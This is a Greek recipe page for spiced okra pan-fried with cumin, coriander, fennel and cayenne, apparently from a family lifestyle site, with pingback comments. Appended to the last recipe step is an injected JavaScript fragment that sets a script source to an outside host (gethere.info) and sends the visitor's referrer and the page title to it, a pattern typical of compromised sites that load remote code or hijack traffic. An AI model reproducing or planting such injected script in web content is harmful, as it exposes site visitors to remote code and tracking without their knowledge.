mommy
thilasmos
toketos
mycare - φροντίδα
athome
arkoudos
nanny - επιλέγοντας νταντάδες

Μπάμιες με μπαχαρικά

Μπάμιες με μπαχαρικά

seasonedokraΟι μπάμιες είναι το καλοκαιρινό λαχανικό! Έχουν υψηλή περιεκτικότητα σε φυτικές ίνες και βοηθούν στην ανάπτυξη βακτηρίων που είναι πολύ ωφέλιμα για το έντερο, γνωστά ως προβιοτικά. Στη χώρα μας τις μαγειρεύουμε ως λαδερό φαγητό με κόκκινη σάλτσα όμως η παρακάτω συνταγή παρόλο που είναι λίγο ασυνήθιστη είναι εξίσου νόστιμη!

Υλικά:

500 γρ. μπάμιες
Κύμινο
κόλιανδρο
μάραθο
μια πρέζα πιπέρι καγιέν
αλάτι και πιπέρι
ελαιόλαδο
φέτες λεμονιού

Εκτέλεση:

1. Σε ένα αντικολλητικό τηγάνι ζεσταίνουμε λίγο ελαιόλαδο.
2. Μόλις ζεσταθεί βάζουμε 1 κουταλάκι του γλυκού κύμινο και το αφήνουμε μέχρι να πάρει χρώμα.
3. Έπειτα προσθέτουμε τις μπάμιες αφού τις έχουμε πλύνει και τις έχουμε καθαρίσει και τις ανακατεύουμε να τσιγαριστούν με το λάδι και το κύμινο.
4. Αμέσως μετά ρίχνουμε 1 κουταλάκι του γλυκού από όλα τα υπόλοιπα μπαχαρικά και μια πρέζα καγιέν.
5. Ανακατεύουμε ώστε να αναδυθούν όλες οι μυρωδιές και να δέσουν με τις μπάμιες και σκεπάζουμε το τηγάνι για λίγα λεπτά.
6. Μετά το ξεσκεπάζουμε και μαγειρεύουμε για ακόμα λίγα λεπτά μέχρι να μαλακώσουν οι μπάμιες αλλά να παραμείνουν τραγανές. Φροντίζουμε να ανακατεύουμε συχνά
7. Μόλις μαλακώσουν σερβίρουμε και πασπαλίζουμε προαιρετικά με έξτρα αλατοπίπερο!s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;

Share This
2 Σχόλια
  1. […] post Μπάμιες με μπαχαρι&kappa… appeared first on Arkoudos, Συνταγές … […]

  2. […] Μπάμιες με μπαχαρι&kappa… […]